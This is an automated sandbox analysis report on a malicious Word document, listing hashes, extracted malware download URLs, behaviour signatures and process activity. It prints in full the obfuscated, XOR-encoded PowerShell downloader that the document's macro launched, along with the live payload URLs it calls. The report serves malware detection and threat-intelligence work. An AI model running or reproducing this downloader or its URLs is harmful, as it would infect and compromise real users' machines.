Analysis
-
max time kernel
149s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
25-05-2024 19:31
Behavioral task
behavioral1
Sample
730589f4fa17619ba4a0b4760aed0426_JaffaCakes118.doc
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
730589f4fa17619ba4a0b4760aed0426_JaffaCakes118.doc
Resource
win10v2004-20240508-en
General
-
Target
730589f4fa17619ba4a0b4760aed0426_JaffaCakes118.doc
-
Size
137KB
-
MD5
730589f4fa17619ba4a0b4760aed0426
-
SHA1
9d73fa94716aa74b82061ad310f525e9f51496df
-
SHA256
ba60bdcdedfdecf24747f96a44ba2df973496807bf6b1080d9800feb53755242
-
SHA512
8ca2518244d1ba6f8a558af3f8e6948e9704ea283cef15ea9b2fc9396a36765088df2ab249cb667761026290a88b03ae72cf1fd46c295f6dfda5166d54493799
-
SSDEEP
1536:b5T1coc0qg43CzKj+aJwQiKn8m2q7m4MHxD7VNJVZX2xX7OnmecrwSgehfu7Qa19:dmPg4p6xufllLZowvOe9j+B
Malware Config
Extracted
http://www.corridaitaliana.cl/AOQNNvjw/
http://www.homedecorsuppliers.tk/1iBZRadBar/
http://www.copticpope.org/RNDHpUD/
http://petewilliams.info/lSLsRKf0/
http://www.bluesw.net/VJ111cQ26/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
PowersHell.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 3712 2476 PowersHell.exe WINWORD.EXE -
Blocklisted process makes network request 4 IoCs
Processes:
PowersHell.exeflow pid process 24 3712 PowersHell.exe 26 3712 PowersHell.exe 32 3712 PowersHell.exe 33 3712 PowersHell.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 2476 WINWORD.EXE 2476 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
PowersHell.exepid process 3712 PowersHell.exe 3712 PowersHell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
PowersHell.exedescription pid process Token: SeDebugPrivilege 3712 PowersHell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 2476 WINWORD.EXE 2476 WINWORD.EXE 2476 WINWORD.EXE 2476 WINWORD.EXE 2476 WINWORD.EXE 2476 WINWORD.EXE 2476 WINWORD.EXE -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
WINWORD.EXEdescription pid process target process PID 2476 wrote to memory of 3712 2476 WINWORD.EXE PowersHell.exe PID 2476 wrote to memory of 3712 2476 WINWORD.EXE PowersHell.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\730589f4fa17619ba4a0b4760aed0426_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2476 -
C:\Windows\System32\WindowsPowerShell\v1.0\PowersHell.exePowersHell .( ([stRINg]$verBOsEprEfeRENCe)[1,3]+'x'-JoIN'') ([stRIng]::jOIN( '' , ( '46p71X89,125H82,73w42E55{42{100,111-125w39,101,104~96,111X105~126H42~120~107-100G110H101-103G49X46p67w120E95,83~88H105,42{55~42p100H111~125~39E101,104w96H111H105G126-42{89~115-121,126w111G103,36~68,111H126-36w93X111X104H73,102G99H111-100p126X49G46~91X123~95{99~76w42E55~42p45-98,126E126-122G48-37H37{125{125p125,36w105H101p120E120H99G110G107H99G126p107p102G99~107{100X107G36X105X102~37G75w69{91~68H68{124H96p125p37-74,98w126H126-122~48E37p37G125,125{125G36p98G101X103H111,110{111X105H101H120-121X127-122H122p102w99~111-120w121p36-126~97p37~59G99~72w80w88,107H110w72w107-120H37X74H98{126G126w122G48G37H37-125,125H125w36E105X101X122X126p99~105p122E101p122-111H36X101X120p109X37H88~68H78E66E122~95p78,37p74G98E126w126{122,48-37{37p122H111G126X111w125-99-102H102X99{107H103X121w36,99G100E108X101H37G102G89G70{121p88p65X108~58p37-74p98X126,126{122{48H37w37{125~125E125p36G104~102~127{111-121G125G36w100X111E126G37-92-64w59G59{59E105H91H56G60E37p45G36w89w122p102E99w126{34X45w74E45E35E49X46-68X64G121-125p69,42w55G42,46,71~89~125E82~73p36H100w111H114-126E34p59-38H42{59X62p59X59w62{60G35H49{46H66,120G122-125~64G89G42w55p42X46{111{100w124E48{126G111w103H122X42p33G42w45p86,45w42w33~42w46w68,64-121H125,69,42{33p42,45,36-111p114,111G45-49H108-101p120G111-107,105{98E34E46~92w126E78-126G88,42p99H100G42w46H91~123G95w99~76-35H113{126~120H115H113-46{67X120p95E83{88G105-36p78G101E125p100E102w101E107~110H76~99H102-111H34G46p92H126{78E126-88E36~94{101G89p126G120H99-100p109w34w35H38w42E46{66p120{122-125,64,89E35p49w89H126w107w120E126H39p90{120H101{105~111G121,121{42G46p66p120{122w125G64-89G49X104X120{111p107w97,49G119p105G107H126H105-98E113-125H120G99E126{111,39{98p101{121p126{42~46E85E36{79p114H105H111-122G126,99X101w100~36E71p111~121E121,107p109p111E49{119~119'.SplIT('EG,wX~H{p-' )|fOrEach{ [ChaR]($_ -BxoR '0x0a')}) ))2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3712
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
262KB
MD551d32ee5bc7ab811041f799652d26e04
SHA1412193006aa3ef19e0a57e16acf86b830993024a
SHA2566230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97
SHA5125fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82